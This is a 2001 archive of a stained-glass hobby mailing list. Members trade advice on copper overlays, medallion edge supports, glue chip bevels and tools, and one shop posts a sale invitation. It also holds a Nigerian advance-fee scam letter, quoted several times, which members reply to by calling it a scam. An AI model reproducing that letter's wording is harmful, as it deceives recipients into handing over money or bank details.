on Sunday.....  Everything in the shop will be on sale including special
order items, AND there will be door-prizes both Saturday and Sunday , as
well
as free demonstrations both days......AND as always deep fried turkeys and
goodies.  So if you're in the area feel free to drop by and browse.  We will
have a 20' X 30' heated tent set up in the rear.

If you have any questions or need directions feel free to call us or visit
our website.



Robert & Jeanne
Hee Sun Stained Glass, Ltd.
324 Main Street
Reisterstown , MD 21136
410-833-3007
info@heesun.com
sales@heesun.com
http://www.heesun.com
Custom Design Studio
Supplies & Classes for Stained & Fused Glass & Mosaics



Shop online without a credit card
http://www.rocketcash.com
RocketCash, a NetZero subsidiary
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From owner-glass Tue Feb 20 13:36:26 2001
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X-Path: sprintmail.com!searun
From: "Maureen & David Humphreys" <searun@sprintmail.com>
To: "Art glass" <glass@bungi.com>
Content-Type: text/plain;
Subject: Copper silhouette
Date: Tue, 20 Feb 2001 07:59:01 -0800
Message-ID: <1970Jan1.000.0>
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I wish to add two 5 inch tall cut-outs of a man and woman onto a piece of
glass work I am doing. The 2 silhouettes will cover (or if advised I can
change it) 2 sections of glass. My question is:
1. Should I join the glass pieces in this section with foil or came?
2. Do I use a sticky backed copper sheet or non-stick to cut the silhouettes
out of?
3. Do I tin the copper figures first, before placing them on the completed
project glass area, or stick them on and then tin slowly (I recall the heat
transfer maybe an issue and cause the glass below to Fx).
This will be an 'inside' 22 inch circle window using desag glass. The last
thing I want to do is break a piece after putting the entire project
together (using my new glass saw for the first time I might add). Leave it
to me to design a project and doing first time tec's!  I have done glass art
for 5 years but never tried copper overlays before!

I guess I could just the figures out of black glass and place them on top of
the surface as a silhouette but think that may be a 'dust catcher' over
time. Dimensional surfaces seem a bit untraditional to me in a 'window'.

I have copies of the Foil Magic book (one and two) but they provide more
information regarding the fancy soldering tec. than overlay work of the
'larger' figures I need some advice on.
Thanks,
Maureen

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From owner-glass Tue Feb 20 14:03:29 2001
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From: "steve" <charliehodge@ltdarkpoet.junglelink.co.uk>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: DOUBLE THE PLEASURE
Date: Tue, 20 Feb 2001 19:22:52 -0000
Message-ID: <1970Jan1.000.0>
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IS THERE ANY REASON WHY I GET 2 COPYS OF EACH E MAIL FROM BUNGI

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From owner-glass Tue Feb 20 14:06:50 2001
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X-Path: heesun.com!keane
From: "Robert & Jeanne Keane -- Hee Sun Stained Glass, Ltd." <keane@heesun.com>
To: <Undisclosed-Recipient:@tot-mtc-tg.proxy.aol.com;;>
Content-Type: text/plain;
Subject: Maryland Invitation
Date: Tue, 20 Feb 2001 13:14:11 -0500
Message-ID: <1970Jan1.000.0>
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Just wanted to invite anyone in the area to our 3rd anniversary party /
customer appreciation day this coming weekend Feb 24th and 25th.  We will be
having crate sales Sat Feb 25th at PM and PM and on Sun Feb 25th at PM.
Hours for the event will be 12 - 6 or later on Saturday and 12 - 4 or later
on Sunday.....  Everything in the shop will be on sale including special
order items, AND there will be doorprizes both Saturday and Sunday , as well
as free demonstrations both days......AND as always deep fried turkeys and
goodies.  So if you're in the area feel free to drop by and browse.  We will
have a 20' X 30' heated tent set up in the rear.

If you have any questions or need directions feel free to call us or visit
our website.



Robert & Jeanne
Hee Sun Stained Glass, Ltd.
324 Main Street
Reisterstown , MD 21136
410-833-3007
info@heesun.com
sales@heesun.com
http://www.heesun.com
Custom Design Studio
Supplies & Classes for Stained & Fused Glass & Mosaics

----
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From owner-glass Tue Feb 20 14:33:07 2001
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: "steve" <charliehodge@ltdarkpoet.junglelink.co.uk>,
Content-Type: text/plain;
Subject: RE: DOUBLE THE PLEASURE
Date: Tue, 20 Feb 2001 17:25:18 -0500
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dunno, just lucky i guess....

dunno, just lucky i guess....


---Mike Savad


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: steve [mailto:charliehodge@ltdarkpoet.junglelink.co.uk]
> Sent: Tuesday, February 20, 2001 2:23 PM
> To: glass@bungi.com
> Subject: DOUBLE THE PLEASURE
>
>
> IS THERE ANY REASON WHY I GET 2 COPYS OF EACH E MAIL FROM BUNGI
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>

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From owner-glass Tue Feb 20 15:03:23 2001
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X-Path: northlights.co.uk!toby
From: "Toby" <toby@northlights.co.uk>
To: Bungi Glass <glass@bungi.com>, Cecily & Ralph Wood <cecnralph@home.com>
Content-Type: text/plain; charset=US-ASCII
Subject: Re: Oyster knives
Date: Tue, 20 Feb 2001 20:19:51 -0000
Message-ID: <200102202036.f1KKaED24204@mercury.nildram.co.uk>
Precedence: bulk

Well, Hello there Cecily!
Elisabeth coming out of "lurkerdom" again....
I brought a small supply of these oyster knives with me to USA as 
presents. Michael Peck presented me with an American oyster 
knife in return. I must admit that I prefer the UK version; it's far 
more flexible, versatile and easy in the hand.  On my return to UK,  
I bought another small supply of oyster knives to send to people 
who had requested them (listed down in my USA diary.... that 
more than a year later, I still have to unpack).

The English Oyster knife is exactly as Cecily describes it (Smart 
lady!)

For my  USA workshop students (if requested),  I would be very 
happy to send an English oyster knife as a memento of our time 
together , provided I can send them ALL to one single recipient for 
further distribution inside USA.  They are however not cheap for 
what they are, about UK pound Sterling 13 (cheaper if I can buy in 
bulk).

Cecily, are you willing to act as a forwarding station??? There is an 
oyster knife there for you....?   ;-)

My famous US glass kiln is now beginning to pay for itself; I'm 
fusing rain puddles for a 7-panel commission with water as a 
theme. It's hard work and a few tears. Brad Walker's wonderful 
hotglass web-site and Delores Taylor's guiding hand is beginning to 
pay off (Delores.... if you are still lurking, I'll be in touch very soon!). 
Brad is lurking anyway.

Hey Cecily! How about it?

Elisabeth, Toby 'n little Meric (i.e heart of AmericA) in UK.

Meric is 16 months now, has had his very first "hair-cut", still loves 
his American Hedgehog and is terribly funny and affectionate. He 
looks at me with his big eyes, when I tell him that about 700 
people helped to give him a name.



Cecily wrote:

I know from observing Elisabeth during her classes here in the US, that
her oyster knife indeed turns up at the tip, and the wooden handle is a
bit bulbous.  What passes for an oyster knife here, readily available in
the stores, is a much shorter and more broad blade, in a squat
triangular shape and an ordinagy handle - and I live in the land of the
famed Chincoteage (shink-uh-teeg) oysters (ershters).  Hard looking
found something similar to Elisabeth's, with a bulbous wooden handle,
longer shaft, but without the curve.  Maybe we need to know from whom we
can import the UK version of this knife?

--

----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
----
----
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From owner-glass Tue Feb 20 22:33:18 2001
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X-Path: fastlane.net!byronw
From: "Byron Wells" <byronw@fastlane.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: glue chip bevels
Date: Tue, 20 Feb 2001 20:11:11 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I've looked in all my wholesale catalogs and don't see any... You may have
to gluechip your own..

Byron...
Wells Glassworks

----- Original Message -----
From: <ARTIZ01@aol.com>
To: <glass@bungi.com>
Sent: Tuesday, February 20, 2001 10:07 AM
Subject: glue chip bevels


> Hello,
> I am looking for glue chip full house bevels 4" x 12.5 and half house
bevels
> in glue chip as well in  4" x 6 1/2.
> I need these sizes as I have to build 3 large windows to match my
customer's
> door lites.
> Thanks in advance for your help.
>
> Bob
> ----
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>
>

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From owner-glass Wed Feb 21 00:25:09 2001
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From: glasscutter@earthlink.net
To: bungi glasss discussion list <glass@bungi.com>,
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: Support for 20" circle
Date: Tue, 20 Feb 2001 02:15:19 +0000
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi Maureen,
  I see you've gotten lots of different advice and suggestion on your
foiled medallion, and I'll offer a bit from my perspective.
  I've done a lot of medallions, many larger than 24", and I'll tell you
how I've finished them off.  I've used several techniques, and no
problems so far.
  You can use regular H lead came, and bend it around the circle.
However, all by itself, the lead isn't going to be all that supportive.
I've taken some 3/16" (or 1/4" for wider came) copper tubing, and bent
it around in a circle, to fit inside the outer H channel, and then
soldered it in place.  The tubing is easy to obtain, is fairly flexible,
and provides something stronger to fill that outer channel.  Soldering
it into place, fills in the gaps with the solder, and provides a much
stronger framework.  The soldering will require a bit larger iron or
other heat source, but with a bit of practice, you can get a decent bead
and sort of finish off the edge.  I generally try to leave the copper
circle just proud of the top of the H channel, so that the solder can
fill in the gaps and form a nice flowing fillet from the top of the
tubing, to the lead came.
  This can also be done with zinc, but may require some clamping to hold
the formed zinc came together, which can be accomplished with spring
loaded wooden clothes pins.
  But, I've had the best success with a variation of this.  I typically
work from the middle out, especially on medallions, and I trim the outer
pieces as the last part of assembly.  Then, before soldering in those
last pieces, I apply extra foil to the outside edges of the glass.  I'll
typically use 5/16" or even 3/8" foil, and lay it down so that I get the
full width of the foil flat on the glass edge, and I do it on both sides
of the glass.
  Then these outside glass pieces are soldered in place, but I stop the
solder joint before I hit the edge copper foil.  This is typically
sufficient to keep the piece together for gentle handling.
  Then I use some 1/4" (or 5/16" or 3/8" when I can find it) lead U
came.  I cut a few pieces of the sides of this came, and position them
in various locations under the panel, to raise it up enough so that the
middle of the medallion and the edges are going to be on close to the
same plane.  While I'm at it, I also wipe down all of the U came with
steel wool, to get rid of much of the oxide, and brighten it up for
soldering.
  This U came is then positioned around the medallion, using the
horseshoe nails to keep it tight up against the glass.  I usually put
the cut edges at the top of the panel if possible, but sometimes with
large pieces, you'll have to use several pieces of came.
  Then with a burnisher, this U edge lead came is flattened down against
the glass - not too hard!  Just enough to close the lead so that it's
down on the foil that lies under it.  I generally try to have about
3/16" or so of the foil showing out from under the edge came.
  Now comes the "interesting" part.  I use a 200 watt iron, and after
fluxing all the lead and foil areas, I lay down a bead of solder on the
exposed foil and the U came, blending in the bead so that the solder
flows easily, and the fillet is even and relatively clean.  Anywhere I
encounter a foiled line, I just blend that solder joint into the fillet
around the edge.  I try to do one side, and then turn it over and do the
other side, while it's still fairly warm, as the second side will solder
a bit easier.
  There are medallions that I did 20 years or more ago, that have been
hanging all that time.. and not one has had any problems with this
soldered on U came edge.  The additional soldering provides quite a bit
of strength to the finished piece.  For larger medallions, I'll get a
deeper U came, and add in a couple of loops of copper wire in there,
before I solder it onto the rest of the glass.
  Oh, and while I'm at it, I solder on some hanging rings that I
fabricate from brass wire.  I generally try to position them at 10:00
and 2:00 positions on the medallion, to give good support, and I try to
position these rings before I start soldering the edge came into place,
that way the rings can be incorporated into this edge solder bead
without additional hassle.
  Good luck with your project, and..
  Peace  -Gerry

  PS - if you consider hanging this piece "unobtrusively", get hold of
some stainless steel fishing leader wire, it's very strong and will not
rust or corrode over time, and you can hardly see it from a distance.

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From owner-glass Wed Feb 21 08:33:17 2001
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X-Path: stratus.com!Charlie.Spitzer
From: "Spitzer, Charlie" <Charlie.Spitzer@stratus.com>
To: bungi glasss discussion list <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: Support for 20" circle
Date: Wed, 21 Feb 2001 08:21:59 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk



> -----Original Message-----
> From: glasscutter@earthlink.net [mailto:glasscutter@earthlink.net]
> Sent: Monday, February 19, 2001 7:15 PM
> To: bungi glasss discussion list
> Subject: Re: Support for 20" circle
> 
> 
> Hi Maureen,
>   I see you've gotten lots of different advice and suggestion on your
> foiled medallion, and I'll offer a bit from my perspective.
>   I've done a lot of medallions, many larger than 24", and 
> I'll tell you
> how I've finished them off.  I've used several techniques, and no
> problems so far.
>   You can use regular H lead came, and bend it around the circle.
> However, all by itself, the lead isn't going to be all that 
> supportive.
> I've taken some 3/16" (or 1/4" for wider came) copper tubing, and bent
> it around in a circle, to fit inside the outer H channel, and then
> soldered it in place.  The tubing is easy to obtain, is 
> fairly flexible,
> and provides something stronger to fill that outer channel.  Soldering
> it into place, fills in the gaps with the solder, and provides a much
<snip>

another thing that i've used with great success is to put some small chain
inside of 1/4" to 1/2" H lead. it has to be soldered in. this also gives you
a place to attach rings, or additional pieces of chain, for hanging.

regards,
charlie
phx, az
----
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From owner-glass Wed Feb 21 09:49:00 2001
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From: John Barra <mecnik@optonline.net>
To: glass@bungi.com
Content-Type: multipart/alternative;
Subject: used saw
Date: Wed, 21 Feb 2001 08:29:26 -0500
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This is a multi-part message in MIME format.

--Boundary_(ID_y75XYWQkBi+LCazG5XcuGw)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

 We are new to the craft and would like to know of any sources for used band saws new ones are so much money thanks so much

--Boundary_(ID_y75XYWQkBi+LCazG5XcuGw)
Content-type: text/html; charset=iso-8859-1
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<STYLE></STYLE>
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<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2>&nbsp;We are new to the craft and would like to 
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much</FONT></DIV></BODY></HTML>

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From owner-glass Thu Feb 22 11:59:41 2001
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X-Path: stratus.com!Charlie.Spitzer
From: "Spitzer, Charlie" <Charlie.Spitzer@stratus.com>
To: glass@bungi.com
Content-Type: text/plain;
Subject: RE: glue chip bevels
Date: Thu, 22 Feb 2001 12:23:27 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

yesterday i received a printed sale flyer from http://www.warner-criv.com
which had glue chipped bevels in it. i don't remember what sizes they were,
but these seem like some odd ones.

regards,
charlie
phx, az

> -----Original Message-----
> From: Byron Wells [mailto:byronw@fastlane.net]
> Sent: Tuesday, February 20, 2001 7:11 PM
> To: glass@bungi.com
> Subject: Re: glue chip bevels
> 
> 
> I've looked in all my wholesale catalogs and don't see any... 
> You may have
> to gluechip your own..
> 
> Byron...
> Wells Glassworks
> 
> ----- Original Message -----
> From: <ARTIZ01@aol.com>
> To: <glass@bungi.com>
> Sent: Tuesday, February 20, 2001 10:07 AM
> Subject: glue chip bevels
> 
> 
> > Hello,
> > I am looking for glue chip full house bevels 4" x 12.5 and 
> half house
> bevels
> > in glue chip as well in  4" x 6 1/2.
> > I need these sizes as I have to build 3 large windows to match my
> customer's
> > door lites.
> > Thanks in advance for your help.
> >
> > Bob
----
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From owner-glass Thu Feb 22 12:59:20 2001
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	for rglass-42; Thu, 22 Feb 2001 11:32:51 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: stratus.com!Charlie.Spitzer
From: "Spitzer, Charlie" <Charlie.Spitzer@stratus.com>
To: glass@bungi.com
Content-Type: text/plain;
Subject: RE: glue chip bevels
Date: Thu, 22 Feb 2001 12:23:27 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

yesterday i received a printed sale flyer from http://www.warner-criv.com
which had glue chipped bevels in it. i don't remember what sizes they were,
but these seem like some odd ones.

regards,
charlie
phx, az

> -----Original Message-----
> From: Byron Wells [mailto:byronw@fastlane.net]
> Sent: Tuesday, February 20, 2001 7:11 PM
> To: glass@bungi.com
> Subject: Re: glue chip bevels
> 
> 
> I've looked in all my wholesale catalogs and don't see any... 
> You may have
> to gluechip your own..
> 
> Byron...
> Wells Glassworks
> 
> ----- Original Message -----
> From: <ARTIZ01@aol.com>
> To: <glass@bungi.com>
> Sent: Tuesday, February 20, 2001 10:07 AM
> Subject: glue chip bevels
> 
> 
> > Hello,
> > I am looking for glue chip full house bevels 4" x 12.5 and 
> half house
> bevels
> > in glue chip as well in  4" x 6 1/2.
> > I need these sizes as I have to build 3 large windows to match my
> customer's
> > door lites.
> > Thanks in advance for your help.
> >
> > Bob
----
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From owner-glass Thu Feb 22 15:08:08 2001
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	for rglass-42; Thu, 22 Feb 2001 14:50:08 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: aol.com!Beveler4
From: Beveler4@aol.com
To: <ARTIZ01@aol.com>
Content-Type: text/plain; charset=ISO-8859-1
Subject: Re: glue chip bevels&Painting on glass
Date: Thu, 22 Feb 2001 16:33:32 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hello,
For your glue chip bevels you may have to purchase some 1/4"glue chip glass and have them custom made.Glue chip bevels are not as common as they used to be and that is why you are having a hard time finding them.
On another note for anyone interested in learning how to paint on glass and have it fired in.We are having classes at the Glass Shack in Cinti,Ohio the last weekend of March. For info Call 1-513-385-4364 and ask about the beginners and advanced painting classes.
Beveler4 (Stan)
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From owner-glass Thu Feb 22 16:11:28 2001
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	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: dellepro.com!gunnx4
From: Suzanne Gunn <gunnx4@dellepro.com>
To: Byron Wells <byronw@fastlane.net>, glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: glue chip bevels
Date: Thu, 22 Feb 2001 15:47:22 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: glassdancer
Precedence: bulk

We always have glue chip bevels at work.
Their wholesale suppliers are Hollander, Mad Dog, Ed Hoy, and D&L.
Dont know if you are looking wholesale or retail.

Suzanne

Byron Wells wrote:
> 
> I've looked in all my wholesale catalogs and don't see any... You may have
> to gluechip your own..
> 
> Byron...
> Wells Glassworks
> 
> ----- Original Message -----
> From: <ARTIZ01@aol.com>
> To: <glass@bungi.com>
> Sent: Tuesday, February 20, 2001 10:07 AM
> Subject: glue chip bevels
> 
> > Hello,
> > I am looking for glue chip full house bevels 4" x 12.5 and half house
> bevels
> > in glue chip as well in  4" x 6 1/2.
> > I need these sizes as I have to build 3 large windows to match my
> customer's
> > door lites.
> > Thanks in advance for your help.
> >
> > Bob
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
> >
> >
> 
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
----
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From owner-glass Thu Feb 22 20:21:30 2001
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	for rglass-42; Thu, 22 Feb 2001 20:01:42 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: yahoo.com!nosabebeye
From: nosa bebeye <nosabebeye@yahoo.com>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Business Relationship
Date: Thu, 22 Feb 2001 20:00:19 -0800 (PST)
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Dear Sir,
     
                                                      
     ASSISTANCE.

I am ENGR.NOSA BEBEYE of the Nigerian National
Petroleum Corporation.
I was the chairman of contract Award Committee. Some
years ago my corporation
awarded contract to an Italian firm for supplying &
construction of pipeline
in my ministry (NNPC), the contract was executed and
the contractors were
duly paid. We now have an over-inflated bill to the
tune of U.S. $41.5m
lodges with one of the Security Company in overseas. 
After several discussions with the Accountant General
of the Federation,
we found out that, this fund was still in the Security
Company in overseas.
My colleagues and I now decided to seek your
assistance by clearing the
fund from the Security Company. We have agreed to
share the fund as follow:
              30% for you as the beneficiary of the
fund.

              60% for my colleagues and I, 10% for
expenses.
Finally we have already made a proper arrangement on
how you will receive
the fund and all the documentation has been put in
place. Be ensure that,
this transaction is 100% risk free. Also this
transaction needs maximum
confidentiality and trust. If you are interested in
doing this business
with us, send me email immediately for more details
and any other modality
involve. We shall bring you more business outfit after
this one at hand
goes well.Your response will be highly
appreciated.Thanks and remain bless.

ENGR.NOSA BEBEYE



__________________________________________________









__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - Buy the things you want at great prices! http://auctions.yahoo.com/
----
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From owner-glass Thu Feb 22 21:13:51 2001
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	for rglass-42; Thu, 22 Feb 2001 20:56:21 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: aol.com!CINDEL67
From: CINDEL67@aol.com
To: Glass@bungi.com
Content-Type: multipart/alternative; boundary="part1_2d.7d3483e.27c746d1_boundary"
Subject: Morton system
Date: Thu, 22 Feb 2001 23:53:37 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk


--part1_2d.7d3483e.27c746d1_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hi....just a quick question. I'm thinking about buying the Morton Portable 
glass shop and I was wondering your comments on this. Is it worth my time and 
$$$$$$$$

Cinda

--part1_2d.7d3483e.27c746d1_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  COLOR="#8000ff" SIZE=3 FAMILY="SCRIPT" FACE="Comic Sans MS" LANG="0">Hi....just a quick question. I'm thinking about buying the Morton Portable 
<BR>glass shop and I was wondering your comments on this. Is it worth my time and 
<BR>$$$$$$$$
<BR>
<BR>Cinda</FONT></HTML>

--part1_2d.7d3483e.27c746d1_boundary--
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From owner-glass Thu Feb 22 21:23:12 2001
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	for rglass-42; Thu, 22 Feb 2001 21:02:15 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: glue chip bevels
Date: Thu, 22 Feb 2001 21:44:49 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Grendel Studio
Precedence: bulk

OK - I give, what are full house and half house in relation to bevels? - Cec

Byron Wells wrote:

> I've looked in all my wholesale catalogs and don't see any... You may have
> to gluechip your own..
>
> Byron...
> Wells Glassworks
>
> ----- Original Message -----
> From: <ARTIZ01@aol.com>
> To: <glass@bungi.com>
> Sent: Tuesday, February 20, 2001 10:07 AM
> Subject: glue chip bevels
>
> > Hello,
> > I am looking for glue chip full house bevels 4" x 12.5 and half house
> bevels
> > in glue chip as well in  4" x 6 1/2.
> > I need these sizes as I have to build 3 large windows to match my
> customer's
> > door lites.
> > Thanks in advance for your help.
> >
> > Bob
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
> >
> >
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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From owner-glass Thu Feb 22 21:57:53 2001
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Received: by daver.bungi.com
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	for rglass-42; Thu, 22 Feb 2001 21:38:03 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: earthlink.net!kremmert
From: "Kurt Remmert" <kremmert@earthlink.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: Business Relationship
Date: Thu, 22 Feb 2001 22:54:08 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

SCAM !!!!!!!!!!!!!!

Kurt Remmert

-----Original Message-----
From: nosa bebeye [mailto:nosabebeye@yahoo.com]
Sent: Thursday, February 22, 2001 10:00 PM
To: glass@bungi.com
Subject: Business Relationship


Dear Sir,


     ASSISTANCE.

I am ENGR.NOSA BEBEYE of the Nigerian National
Petroleum Corporation.
I was the chairman of contract Award Committee. Some
years ago my corporation
awarded contract to an Italian firm for supplying &
construction of pipeline
in my ministry (NNPC), the contract was executed and
the contractors were
duly paid. We now have an over-inflated bill to the
tune of U.S. $41.5m
lodges with one of the Security Company in overseas.
After several discussions with the Accountant General
of the Federation,
we found out that, this fund was still in the Security
Company in overseas.
My colleagues and I now decided to seek your
assistance by clearing the
fund from the Security Company. We have agreed to
share the fund as follow:
              30% for you as the beneficiary of the
fund.

              60% for my colleagues and I, 10% for
expenses.
Finally we have already made a proper arrangement on
how you will receive
the fund and all the documentation has been put in
place. Be ensure that,
this transaction is 100% risk free. Also this
transaction needs maximum
confidentiality and trust. If you are interested in
doing this business
with us, send me email immediately for more details
and any other modality
involve. We shall bring you more business outfit after
this one at hand
goes well.Your response will be highly
appreciated.Thanks and remain bless.

ENGR.NOSA BEBEYE



__________________________________________________









__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - Buy the things you want at great prices!
http://auctions.yahoo.com/
----
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----
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From owner-glass Fri Feb 23 00:48:24 2001
Return-Path: <owner-glass>
Received: by daver.bungi.com
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	for rglass-42; Fri, 23 Feb 2001 00:40:15 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: stainedglass.co.uk!studio
From: "studio@stainedglass.co.uk" <studio@stainedglass.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: RE: Business Relationship
Date: Fri, 23 Feb 2001 08:38:25 +0000
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Yes - this is a scam - according to UK police if you are daft enough to give
them your bank details you will find all your monay disappears - and large
debts are incurred which you will be personally responsible for!!

EliZabeth in Bournemouth
Bournemouth Stained Glass
http://www.stainedglass.co.uk
UK Charter Member RAGS

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From owner-glass Fri Feb 23 01:18:22 2001
Return-Path: <owner-glass>
Received: by daver.bungi.com
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	id <m14WE6v-0000BOa@daver.bungi.com>
	for rglass-42; Fri, 23 Feb 2001 01:01:57 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: "Kurt Remmert" <kremmert@earthlink.net>,
Subject: Re: Business Relationship
Date: Sat, 24 Feb 2001 01:46:18 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

For sure.   I just deleted it from the get go.  Wish they could not slip
through and spam us.
Linda Jo

----- Original Message -----
From: "Kurt Remmert" <kremmert@earthlink.net>
To: <glass@bungi.com>
Sent: Thursday, February 22, 2001 11:54 PM
Subject: RE: Business Relationship


> SCAM !!!!!!!!!!!!!!
>
> Kurt Remmert
>
> -----Original Message-----
> From: nosa bebeye [mailto:nosabebeye@yahoo.com]
> Sent: Thursday, February 22, 2001 10:00 PM
> To: glass@bungi.com
> Subject: Business Relationship
>
>
> Dear Sir,
>
>
>      ASSISTANCE.
>
> I am ENGR.NOSA BEBEYE of the Nigerian National
> Petroleum Corporation.
> I was the chairman of contract Award Committee. Some
> years ago my corporation
> awarded contract to an Italian firm for supplying &
> construction of pipeline
> in my ministry (NNPC), the contract was executed and
> the contractors were
> duly paid. We now have an over-inflated bill to the
> tune of U.S. $41.5m
> lodges with one of the Security Company in overseas.
> After several discussions with the Accountant General
> of the Federation,
> we found out that, this fund was still in the Security
> Company in overseas.
> My colleagues and I now decided to seek your
> assistance by clearing the
> fund from the Security Company. We have agreed to
> share the fund as follow:
>               30% for you as the beneficiary of the
> fund.
>
>               60% for my colleagues and I, 10% for
> expenses.
> Finally we have already made a proper arrangement on
> how you will receive
> the fund and all the documentation has been put in
> place. Be ensure that,
> this transaction is 100% risk free. Also this
> transaction needs maximum
> confidentiality and trust. If you are interested in
> doing this business
> with us, send me email immediately for more details
> and any other modality
> involve. We shall bring you more business outfit after
> this one at hand
> goes well.Your response will be highly
> appreciated.Thanks and remain bless.
>
> ENGR.NOSA BEBEYE
>
>
>
> __________________________________________________
>
>
>
>
>
>
>
>
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Auctions - Buy the things you want at great prices!
> http://auctions.yahoo.com/
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>
> ----
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> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass


----
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From owner-glass Fri Feb 23 06:02:32 2001
Return-Path: <owner-glass>
Received: by daver.bungi.com
	via smail with stdio
	id <m14WIeL-000074a@daver.bungi.com>
	for rglass-42; Fri, 23 Feb 2001 05:52:45 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #529 built 2001-Feb-6)
X-Path: erols.com!deethom
From: Dee Thompson <deethom@erols.com>
To: <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: RE: Business Relationship
Date: Fri, 23 Feb 2001 08:34:00 -0500
Message-ID: <3.0.32.20010223083359.0098ea00@pop.erols.com>
Precedence: bulk

Yeah, this scam is so old it's been on TV a couple times and still folks
fall for it!
At 10:54 PM 2/22/01 -0600, Kurt Remmert wrote:
>SCAM !!!!!!!!!!!!!!
>
>Kurt Remmert
>
>-----Original Message-----
>From: nosa bebeye [mailto:nosabebeye@yahoo.com]
>Sent: Thursday, February 22, 2001 10:00 PM
>To: glass@bungi.com
>Subject: Business Relationship
>
>
>Dear Sir,
>
>
>     ASSISTANCE.
>
>I am ENGR.NOSA BEBEYE of the Nigerian National
>Petroleum Corporation.
>I was the chairman of contract Award Committee. Some
>years ago my corporation
>awarded contract to an Italian firm for supplying &
>construction of pipeline
>in my ministry (NNPC), the contract was executed and
>the contractors were
>duly paid. We now have an over-inflated bill to the
>tune of U.S. $41.5m
>lodges with one of the Security Company in overseas.
>After several discussions with the Accountant General
>of the Federation,
>we found out that, this fund was still in the Security
>Company in overseas.
>My colleagues and I now decided to seek your
>assistance by clearing the
>fund from the Security Company. We have agreed to
>share the fund as follow:
>              30% for you as the beneficiary of the
>fund.
>
>              60% for my colleagues and I, 10% for
>expenses.
>Finally we have already made a proper arrangement on
>how you will receive
>the fund and all the documentation has been put in
>place. Be ensure that,
>this transaction is 100% risk free. Also this
>transaction needs maximum
>confidentiality and trust. If you are interested in
>doing this business
>with us, send me email immediately for more details
